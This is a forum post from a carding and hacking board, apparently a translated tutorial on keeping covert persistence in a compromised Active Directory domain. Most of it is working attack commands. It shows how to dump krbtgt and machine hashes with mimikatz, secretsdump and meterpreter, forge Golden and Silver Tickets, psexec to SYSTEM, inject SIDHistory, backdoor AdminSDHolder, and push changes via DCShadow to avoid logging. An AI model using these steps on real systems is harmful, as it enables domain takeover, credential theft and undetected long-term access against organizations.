[B]Kerberos Golden Tickets[/B] One of the ways to preserve access to the system is to generate a Golden Ticket: the account password krbtgtwill not be changed under the same conditions under which the administrator password can be changed. Golden Ticket are fake ticket-granting tickets, also called authentication tickets (aka TGT). If you look at the Kerberos authentication scheme for Golden Ticket, you will notice that Kerberos is not authenticated (AS-REQ and AS-REP with a domain controller). Since the Golden Ticket is a bogus TGT, it is sent to the domain controller as part of the TGS-REQ to obtain a TGS ticket. [IMG alt="bYNTXNn9-6w.jpg"]https://sun9-70.userapi.com/impg/c854428/v854428083/230491/bYNTXNn9-6w.jpg?size=807x402&quality=96&sign=a4905d4c4bb548236a93f79a578fe980&type=album[/IMG] Kerberos Authentication Scheme with Golden Ticket The Kerberos Golden Ticket is a valid Kerberos TGT because it is encrypted and signed by the domain Kerberos account ( krbtgt). And since the TGT is encrypted with a password hash krbtgtand can be decrypted by any KDC service in the domain, the ticket is perceived as real. In order to make a Golden Ticket, we need to know the following: [LIST=1] [*]SPN domain. [*]Domain SID. [*]NTLM hash of the domain account krbtgt. [*]The name of the user under which the operator will work (even if such a user does not exist). [/LIST] Since any username can be used, it remains to find three missing components. Domain name and SID can be found using PowerShell command Get-ADDomain. [IMG alt="J9jXfqIo21g.jpg"]https://sun9-26.userapi.com/impg/c854428/v854428083/23049a/J9jXfqIo21g.jpg?size=807x457&quality=96&sign=a8fd2c15ab47f35ad4ecc83c9134f10f&type=album[/IMG] SID and domain name Now you need to get the NTLM hash of the account krbtgt. This can be done both remotely and using mimikatz. With mimikatz, the operator has a choice: to perform a DCSync attack using the Security Account Managers (SAM) database, or to use the sekurlsa module. Code: mimikatz # lsadump :: dcsync / user: krbtgt [IMG alt="G1m66a3e8lc.jpg"]https://sun9-87.userapi.com/impg/c854428/v854428083/2304a1/G1m66a3e8lc.jpg?size=541x337&quality=96&sign=73d79494336c0bfa21a980e4d3dd03ad&type=album[/IMG] Retrieving hashes with mimikatz using the DCSync attackmimikatz # privilege :: debug Code: mimikatz # lsadump :: lsa / inject / name: krbtgt [IMG alt="J67wDslxG6o.jpg"]https://sun9-14.userapi.com/impg/c854428/v854428083/2304a8/J67wDslxG6o.jpg?size=463x243&quality=96&sign=e544aa3a2b991911ad9595687246a867&type=album[/IMG] We get hashes using mimikatz using the SAM databasemimikatz # sekurlsa :: krbtgt [IMG alt="sMAYh8EA4PY.jpg"]https://sun9-15.userapi.com/impg/c854428/v854428083/2304b0/sMAYh8EA4PY.jpg?size=776x136&quality=96&sign=19a0763da1c5f95638f4e607727b8f47&type=album[/IMG] Get hashes with mimikatz using the sekurlsa module Remote attacks are also performed using DCSync or if there is an open session meterpreter. Code: impacket-secretsdump domain.dom/[email]root@192.168.6.100[/email] [IMG alt="-tIUwz1b6Yk.jpg"]https://sun9-46.userapi.com/impg/c854428/v854428083/2304b8/-tIUwz1b6Yk.jpg?size=678x159&quality=96&sign=42b33cffbca1fba0301eff51e63e44d1&type=album[/IMG] Getting hashes with secretsdump There are two use cases meterpreter: with hashdumpand dcsync_ntlm(for the second, you need to load the kiwi module). [IMG alt="3lswsoHc928.jpg"]https://sun9-20.userapi.com/impg/c854428/v854428083/2304c0/3lswsoHc928.jpg?size=644x110&quality=96&sign=d2154a26802ffaa859dfa7a7512fb335&type=album[/IMG] Getting hashes with meterpreter hashdump [IMG alt="J-rox_6aZ3Q.jpg"]https://sun9-31.userapi.com/impg/c854428/v854428083/2304c7/J-rox_6aZ3Q.jpg?size=416x96&quality=96&sign=159ff0dd4b9bdbc34767f2679a3c393d&type=album[/IMG] Getting hashes with meterpreter dcsync_ntlm Using the information received, you can create and apply a Golden Ticket. We will do this in three ways: using mimikatz, remotely using ticketerand using meterpreter. [B]Ticketer[/B] The first step is to create a ticket. To do this, we use a script ticketerfrom the package impacket(remember that you can invent any username). Code: impacket-ticketer -nthash 08f5bf2e292d77d8e460d3926a0d90de -domain-sid S-1-5-21-719111203-942671344-1831409528 -domain domain.dom anyuser [IMG alt="gm6mzbOU4sw.jpg"]https://sun9-12.userapi.com/impg/c854428/v854428083/2304ce/gm6mzbOU4sw.jpg?size=428x225&quality=96&sign=dd1cf3635d08da43d5666b646f83d7b1&type=album[/IMG] Creating a Golden Ticket with Ticketer A ticket has been created in the current directory anyuser.ccache. We export it. Code: export KRB5CCNAME = anyuser.ccache Now let's connect with the help psexecfrom the same package impacket. Code: python3 psexec.py -k -no-pass [domain] / [user] @ [hostname] [IMG alt="oOJ4IXuxMGQ.jpg"]https://sun9-83.userapi.com/impg/c854428/v854428083/2304d7/oOJ4IXuxMGQ.jpg?size=807x215&quality=96&sign=a39c525d917e855c82341c098b2ed9df&type=album[/IMG] Connect to the host using golden ticket We get remote control with rights SYSTEM. [B]Mimikatz[/B] Let's create a fake golden ticket using mimikatz. [IMG alt="5tvUJrpaQPU.jpg"]https://sun9-85.userapi.com/impg/c854428/v854428083/2304e0/5tvUJrpaQPU.jpg?size=807x231&quality=96&sign=d905b7db45f931167c07eb844d9d6f9a&type=album[/IMG] Creating a golden ticket with mimikatz If you do not use a parameter in this command /ptt, then the ticket will simply be saved in the current directory. In this case, it will be immediately cached in memory. Let's check it out by calling the command line. Code: mimikatz # misc :: cmd Now, after executing the command klist, we observe the cached Golden Ticket. Creating a Golden Ticket with mimikatz [B]Meterpreter[/B] To work with, meterpreterwe will use the kiwi module. The first step is to create a Golden Ticket. [IMG alt="wRoEPVy9Mik.jpg"]https://sun9-26.userapi.com/impg/c854428/v854428083/2304f0/wRoEPVy9Mik.jpg?size=724x49&quality=96&sign=9130983848d28c9dcaefd8b6ebe3ba9e&type=album[/IMG] Making a Golden Ticket with meterpreter Now let's apply it. [IMG alt="-xTICTCTIR0.jpg"]https://sun9-86.userapi.com/impg/c854428/v854428083/2304f7/-xTICTCTIR0.jpg?size=562x46&quality=96&sign=381e10099997d62fba4a1de24e7cf97e&type=album[/IMG] Golden Ticket application with meterpreter And check that the ticket has been loaded successfully. [IMG alt="uIfEfZg3r7I.jpg"]https://sun9-57.userapi.com/impg/c854428/v854428083/2304ff/uIfEfZg3r7I.jpg?size=617x117&quality=96&sign=849d766689eda27d99b0f5f28d6c628f&type=album[/IMG] Downloaded Golden Ticket Thus, we are able to work with elevated privileges, while we do not use the credentials of administrators. This means that we can always get access, even when changing user passwords, changing their roles, and even when deleting compromised accounts. [B]Kerberos Silver Ticket[/B] Silver Ticket are fake TGS tickets, also called service tickets. As shown in the Kerberos Authentication with Silver Ticket diagram, in this case the AS-REQ / AS-REP and TGS-REQ / TGS-REP steps are missing, which eliminates the interaction with the domain controller. That is, we manage to avoid logging, since the event logs are located on the server. [IMG alt="nwnlTAs8zIE.jpg"]https://sun9-26.userapi.com/impg/c854428/v854428083/230508/nwnlTAs8zIE.jpg?size=807x402&quality=96&sign=0ff2db1a17aff7d0b0c21bdd2bb5a448&type=album[/IMG] Kerberos Authentication Scheme with Silver Ticket The Kerberos Silver Ticket is a valid Kerberos TGS ticket: it is encrypted and signed by a service account that has an SPN configured for each server that in turn is running the Kerberos Authentication Service. While the Golden Ticket is a fake TGT for gaining access to any Kerberos service, the Silver Ticket is a fake TGS. This means that the scope of its applicability is limited to a specific service. From the above, it follows that instead of the hash of the account password, you krbtgtneed a hash of the password for the service account, as well as its SPN. Below are the most interesting services and their corresponding ticket types. Let's analyze the creation of a Silver Ticket using the example of a service cifs. It will allow us to access with administrator rights to any shared resource on the computer, which is enough to work through psexecwith rights SYSTEM. For the service cifs, the hash of the computer account password is enough for us. It can be obtained in the same way as in the case of the Golden Ticket. [IMG alt="LzltT87gcZM.jpg"]https://sun9-79.userapi.com/impg/c854428/v854428083/230522/LzltT87gcZM.jpg?size=789x159&quality=96&sign=7965d4b7ded2494bab4e492f829a8519&type=album[/IMG] Getting hashes with secretsdump [IMG alt="mW-NDoQksY4.jpg"]https://sun9-24.userapi.com/impg/c854428/v854428083/23052a/mW-NDoQksY4.jpg?size=638x114&quality=96&sign=b32c65cfb8bb62d201f2cafe79b285ca&type=album[/IMG] Getting hashes with meterpreter In the case of mimikatz, you can use sekurlsa::logonpasswords. [IMG alt="LAidmRwUhFo.jpg"]https://sun9-73.userapi.com/impg/c854428/v854428083/230531/LAidmRwUhFo.jpg?size=556x338&quality=96&sign=72da20e8cb83f551a02a23d81c6a269b&type=album[/IMG] Getting the hash of a computer account using mimikatz Now let's create and apply a Silver Ticket. [B]Ticketer[/B] First, let's generate a Silver Ticket. This can be done by analogy with the golden ticket, but you must specify the SPN of the CIFS service. Code: impacket-ticketer -nthash c854d3f11ea2ad22267ed4571f77d29b -domain-sid S-1-5-21-719111203-942671344-1831409528 -domain domain.dom -spn cifs / [hostname] anyuser [IMG alt="-s7nu9j_gU4.jpg"]https://sun9-13.userapi.com/impg/c854428/v854428083/23053a/-s7nu9j_gU4.jpg?size=807x220&quality=96&sign=8bfabb623943e3013788d33cc4e88e1c&type=album[/IMG] Getting the hash of a computer account using mimikatz Now we export the ticket. Code: export KRB5CCNAME = anyuser.ccache Finally, let's get rights management SYSTEMwith psexec. [IMG alt="-haW-i_H_HY.jpg"]https://sun9-74.userapi.com/impg/c854428/v854428083/230543/-haW-i_H_HY.jpg?size=807x213&quality=96&sign=fdae9b093540bbf140d8368a92093c0d&type=album[/IMG] Getting the hash of a computer account using mimikatz [B]Mimikatz[/B] The NTLM hash of the computer account password is used with the parameter rc4. In this case, we can come up with both a username and his User ID (in the parameter id). We servicewill indicate in the parameter cifs, and in the targetfull name of the computer. Code: kerberos :: golden / admin: anyuser /domain:domain.dom / id: 1111 / sid: S-1-5-21-719111203-942671344-1831409528 / target: [hostname] / rc4: [NTLM hash] / service: cifs / ptt [IMG alt="IuX7HYLBRrc.jpg"]https://sun9-32.userapi.com/impg/c854428/v854428083/23054c/IuX7HYLBRrc.jpg?size=807x275&quality=96&sign=a46e4bdacc49edb58875d46e31e3bcc9&type=album[/IMG] Getting the hash of a computer account using mimikatz Let's check the tickets loaded into memory and find the newly created one there. [IMG alt="2rbTYo_roFk.jpg"]https://sun9-54.userapi.com/impg/c854428/v854428083/230554/2rbTYo_roFk.jpg?size=707x117&quality=96&sign=2bcdd4c48434f6cb2a4ae3ae98b20ce8&type=album[/IMG] Getting the hash of a computer account using mimikatz There is an opinion that Silver Ticket is much more dangerous than Golden Ticket, despite the fact that their scope is limited. This is true because the service hash is easier to obtain than the hash krbtgt, and detection of such an intrusion is more difficult due to the lack of communication with the domain controller. [B]SIDHistory[/B] SIDHistoryIs an attribute of an object in Active Directory that stores the old SID. It is most commonly used for migrations. This feature is required when transferring user accounts from one trusted domain to another. At the same time, the accounts fully retain the settings for accessing old resources and files. When a user is authenticated, the SIDs of each security group of which they are a member are added to that user's Kerberos ticket and also to SIDHistorytheir account attribute . When creating a new user, the SID of his account will be different from the SID of other accounts. This is also true when transferring a user from the first domain to the second. In this case, the SID of the user account from the first domain will be added to the SIDHistoryaccount in the second domain. That is why a user from the second domain can access their old resources and files in the first domain. But, surprisingly, if a regular user in the second domain has in the attribute of SIDHistoryhis account the SID of the account of one of the administrators of the first domain, then this user becomes privileged in the first domain! That is, the user will be granted domain administrator rights without his participation in the Domain Admins group. Thus, to maintain privileged access in the trusted domain, the operator can include the SID of the privileged account in the target domain in the attribute of SIDHistorythe unprivileged account from the trusted domain that it controls. With the help of mimikatz, we can embed any SID in the attribute of SIDHistoryany user (but this requires administrator rights, which, of course, we have). In the following illustration, you can see that the user notrootdoes not have administrative access. [IMG alt="uoYDKK-2wn0.jpg"]https://sun9-62.userapi.com/impg/c854428/v854428083/23055c/uoYDKK-2wn0.jpg?size=696x160&quality=96&sign=d825b6cb324dfc1bfa6726bd7a653d7c&type=album[/IMG] Connection failed with psexec as user notroot Let's see the attribute of SIDHistorythis user. Code: PS> Get-ADUser [user] -Properties SIDHistory [IMG alt="meAS6Fd0FGM.jpg"]https://sun9-70.userapi.com/impg/c854428/v854428083/230563/meAS6Fd0FGM.jpg?size=527x209&quality=96&sign=0c50f226d51d2eb803334c99fa40315c&type=album[/IMG] SIDHistory of user notroot The user has this attribute empty. Now we will find out the SID of the administrator, which needs to be injected there. [IMG alt="EULUeENCGfE.jpg"]https://sun9-58.userapi.com/impg/c854428/v854428083/23056a/EULUeENCGfE.jpg?size=520x212&quality=96&sign=f1d5de52ba7eba552765973fa24b0a26&type=album[/IMG] Getting information about a user with high privileges Let's use mimikatz to inject the root user SID rootinto a SIDHistoryregular user attribute notroot. Code: mimikatz # privilege :: debug mimikatz # sid :: patch mimikatz # sid :: add / sam: [target user] / new: [SID or user whose SID is being embedded] [IMG alt="v8PEzFdRI24.jpg"]https://sun9-39.userapi.com/impg/c854428/v854428083/230572/v8PEzFdRI24.jpg?size=788x260&quality=96&sign=9719fe5e5b49bc36d18174454bf5da7a&type=album[/IMG] SID injection with mimikatz Everything went well. Now let's check the attribute of SIDHistoryour user again . As you can see in the following illustration, the attribute SIDHistorynow contains the superuser SID. [IMG alt="e3hXVDEb3cg.jpg"]https://sun9-4.userapi.com/impg/c854428/v854428083/230579/e3hXVDEb3cg.jpg?size=534x211&quality=96&sign=5aace79f95a99c8869efc3b0c867bb94&type=album[/IMG] SIDHistory of user notroot When logged in as a user, notrootall SIDs associated with that account are added to the user's token, which is used to determine access to resources. More precisely, they add there: [LIST=1] [*]The SID associated with the user account. [*]SIDs of the groups the user belongs to (including the groups of which these groups are members). [*]SIDs contained in SIDHistory. [/LIST] If you try to log in again as a user notroot, you will notice that he now has administrative access. [IMG alt="pwgqrXPWnmE.jpg"]https://sun9-65.userapi.com/impg/c854428/v854428083/230581/pwgqrXPWnmE.jpg?size=691x241&quality=96&sign=69cffd3c0b5fab9b2bc4523e64aa63ce&type=album[/IMG] Successful connection as user notroot using psexec When a user notrootlogs in, the SIDs associated with their account are evaluated and access is determined based on those SIDs. Since an account notrootis associated with an account root(administrator), the account notroothas all access rights to the account root, including domain administrator rights. [B]Golden Ticket + SIDHistory[/B] The parent (root) domain contains the Enterprise Admins group of forest-wide administrators. Therefore, when the hash of the account password is krbtgtprovided in the child domain, there is a certain limitation. Since mimikatz adds group membership using relative identifiers (RIDs), in this case the RID 519 (Enterprise Admins) group in the Kerberos ticket will be identified as local to the domain in which the ticket was created (based on the account domain krbtgt) ... However, if the SID obtained by adding the RID to the domain SID does not exist, then the owner of the Kerberos ticket will not receive a specific level of access. Thus, if the domain in which the Golden Ticket was created does not contain the Enterprise Admins group, then this ticket will not grant administrator rights for other domains in the same forest. If you make a Golden Ticket using mimikatz and refer to resources in your own and other domains, then in the second case we will receive a denial of access. Code: mimikatz # kerberos :: golden / admin: anyuser /domain:domA.domain.dom / sid: S-1-5-21-719111203-942671344-1831409528-1000 / krbtgt: 08f5bf2e292d77d8e460d3926a0d90de / ptt [IMG alt="qwW1l_zugsY.jpg"]https://sun9-77.userapi.com/impg/c854428/v854428083/23058a/qwW1l_zugsY.jpg?size=807x388&quality=96&sign=738249ad61e84c87920444b1d0010ef9&type=album[/IMG] Regular Golden Ticket with mimikatz We have already discussed in detail how it works SIDHistory, and we know that the Kerberos ticket contains this parameter. Let's add to the Kerberos golden ticket, namely to the SIDHistorySID parameter of the Enterprise Admins group. Code: mimikatz # kerberos :: golden / admin: anyuser /domain:domA.domain.dom / sid: S-1-5-21-719111203-942671344-1831409528-1000 / krbtgt: 08f5bf2e292d77d8e460d3926a0d90de / sidss: [SID of Enterprise ptt [IMG alt="utJhpYW4G84.jpg"]https://sun9-67.userapi.com/impg/c854428/v854428083/230593/utJhpYW4G84.jpg?size=807x408&quality=96&sign=5cdd2d60bf8546315c1cae1a2a9eaea8&type=album[/IMG] Golden Ticket with SIDHistory via mimikatz Thus, we gain access to the entire forest. [B]AdminSDHolder[/B] AdminSDHolder - it is a subject in the section Systemin the Directory the Active ( cn=adminsdholder, cn=system, dc=domain, dc=dom). It is used as a security template for objects that are members of certain privileged groups called protected groups. [IMG alt="oY8zA3V2uSo.jpg"]https://sun9-22.userapi.com/impg/c854428/v854428083/23059c/oY8zA3V2uSo.jpg?size=807x285&quality=96&sign=ccf376cf315a2c0e9b9011b61b9070d3&type=album[/IMG] AdminSDHolder object In Active Directory, accounts and groups with high privileges are considered secure by default. With most objects in Active Directory, administrators or users who have been delegated permissions to manage Active Directory objects can not only change access rights to objects, but also manage the permissions themselves (for example, to customize group memberships). But there is one peculiarity: in the case of protected accounts and groups, object permissions are set and applied automatically. This ensures that object permissions remain consistent even if objects are moved to a different directory. Therefore, if someone manually changes the permissions of a protected object, those permissions will be reverted to their default values. The objects that are considered protected groups by default are Account Operators, Administrator, Administrators, Archive Operators, Domain Admins, Enterprise Admins, Enterprise Key Admins, Key Admins, KRBTGT, Print Operators, Read Only Domain Controllers, Replicator, Schema Admins, server operators. Unlike most objects in an Active Directory domain that are owned by the Administrators group, the object AdminSDHolderbelongs to the Domain Admins group. Thus, all AdminSDHolderobjects protected with the help have the attribute AdminCountset to 1. But if the object is removed from the protected group, the value of the attribute AdminCountdoes not change. Since the main condition of the protected object becomes the attribute value AdminCountequal to 1, we can find all these objects using the following script. Code: $ ldapFilter = "(adminCount = 1)" $ domain = New-Object System.DirectoryServices.DirectoryEntry $ search = New-Object System.DirectoryServices.DirectorySearcher $ search.SearchRoot = $ domain $ search.PageSize = 1000 $ search.Filter = $ ldapFilter $ search.SearchScope = "Subtree" $ result = $ search.FindAll () foreach ($ res in $ result) { $ userEntry = $ res.GetDirectoryEntry () Write-host "Object Name =" $ userEntry.name Write-host "Object Class =" $ userEntry.objectClass foreach ($ AdminCount in $ userEntry.adminCount) { Write-host "AdminCount =" $ AdminCount Write-host "" } } An object's access control list (ACL) is AdminSDHolderapplied as a template for all permissions to all protected Active Directory objects and their members. To provide secure access to protected objects, Active Directory will take the object's ACL AdminSDHolderand periodically apply it to all of these objects, that is, to all users and groups. Thus, if we can manipulate the ACL for AdminSDHolder, these permissions will be automatically applied to all protected objects, which will create permanent access to privileged accounts in the domain. The SDProp process is responsible for automating the restoration of permissions on protected objects. By default, recovery occurs every 60 minutes (but this interval can be changed). Thus, if the administrator sees a suspicious permission for a protected object and deletes it, then after the specified time these permissions will be restored back thanks to SDProp, since the attribute of AdminCountthis object must be equal to 1. As a result, the object will remain protected. Let's add the user to AdminSDHolderor set the attribute adminCountto 1 for the user. Code: Get-ADUser [user] | Set-ADObject -Clear adminCount Get-ADUser [user] | Set-ADObject -Add @ {adminCount = 1} Some time after SDProp restores the permissions, this account will have full control over the Domain Admins group. However, you notice that the user has no group membership. Code: Get-ADUser [user] -Properties memberof [IMG alt="JvIxWrSqirs.jpg"]https://sun9-32.userapi.com/impg/c854428/v854428083/2305a3/JvIxWrSqirs.jpg?size=599x226&quality=96&sign=4b5166c0912ed17e0277d268497a7151&type=album[/IMG] Target User Information To change the recovery interval, you need to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameterscreate a parameter DWORDwith a name in the registry branch AdminSDProtectFrequency, and specify the number of seconds as the value (the minimum is 60). AdminSDHolderIs a very clever technique that allows us to provide the ability to change privileged groups in Active Directory using a key security component. Thus, even if the permissions for the protected group or user are changed by the administrator, SDProp will return the security permissions after the allotted time interval according to the object AdminSDHolder, thereby giving us back administrative access. [B]DCShadow[/B] In the previous part of the article, we looked at a way to ensure access persistence based on changing the permissions of securable objects, that is, managing ACLs and manipulating the container AdminSDHolder. But these methods can be recorded in the event log. To avoid this, there is a solution: DCShadow allows you to make such changes without logging events, which reduces the risk of detection. So the plan is as follows: [LIST=1] [*]Get current permissions AdminSDHolder. [*]Make changes to permissions (add a new user). [*]Apply updated permissions via DCShadow. [/LIST] You can get the current permissions using PowerShell. Code: $ asdh = [adsi] 'LDAP: // CN = AdminSDHolder, CN = System, DC = domain, DC = dom' $ sddl = $ asdh.ObjectSecurity.Sddl [IMG alt="JIgiOPDihj0.jpg"]https://sun9-75.userapi.com/impg/c854428/v854428083/2305ac/JIgiOPDihj0.jpg?size=807x117&quality=96&sign=d003c0104ceb37042faf6a3219369d97&type=album[/IMG] The current permissions of the AdminSDHolder container in SDDL format To ensure the persistence of access, let's add an account to the permissions AdminSDHolder. To do this, you need to change the resulting SDDL string. First, you need to find out the SID of the target. [IMG alt="OIaxS2Pes5g.jpg"]https://sun9-31.userapi.com/impg/c854428/v854428083/2305b3/OIaxS2Pes5g.jpg?size=523x211&quality=96&sign=569a6e530d9ec4e70ce95dcf1c1b60f5&type=album[/IMG] Getting the SID of the target user Now you can change the SDDL by simply adding the SID there. Code: $ newsddl = $ sddl + "(A ;; CCDCLCSWRPWPDTLOCRSDRCWDWO ;;; [SID]])" [IMG alt="IhMCla_BISc.jpg"]https://sun9-26.userapi.com/impg/c854428/v854428083/2305bc/IhMCla_BISc.jpg?size=807x102&quality=96&sign=4e6e9405a82d8b5cd444eb83744da922&type=album[/IMG] New line SDDL Let's move on to the last step - using DCShadow. To apply these permissions, we use mimikatz, and on behalf of System. Code: mimikatz #! + mimikatz #! processtoken mimikatz # lsadump :: dcshadow / object: "CN = AdminSDHolder, CN = System, DC = domain, DC = dom" / attribute: ntsecuritydescriptor / value: [SDDL] [IMG alt="y-kf4TP-mvE.jpg"]https://sun9-7.userapi.com/impg/c854428/v854428083/2305c5/y-kf4TP-mvE.jpg?size=807x63&quality=96&sign=32861d4e1267901d40b9dde0f5f10ada&type=album[/IMG] Change AdminSDHolder permissions with mimikatz DCShadow In this case, in another mimikatz window, you need to replicate and apply the data. Code: mimikatz # lsadump :: dcshadow / push After a while, you may notice the updated attribute adminCounton the target account , which we already talked about. [IMG alt="bStgIpE900I.jpg"]https://sun9-29.userapi.com/impg/c854428/v854428083/2305cc/bStgIpE900I.jpg?size=566x81&quality=96&sign=2604480d90ef41982128ee2a28f9e935&type=album[/IMG] Change AdminSDHolder permissions with mimikatz DCShadow Thus, another vector for which we can use DCShadow is administrative access persistence. [/QUOTE]
Name
Verification
Post reply
Home
Forums
CARDING & HACKING
Hacking Tools
We fix ourselves in Active Directory. How to maintain access when attacking a domain.
Top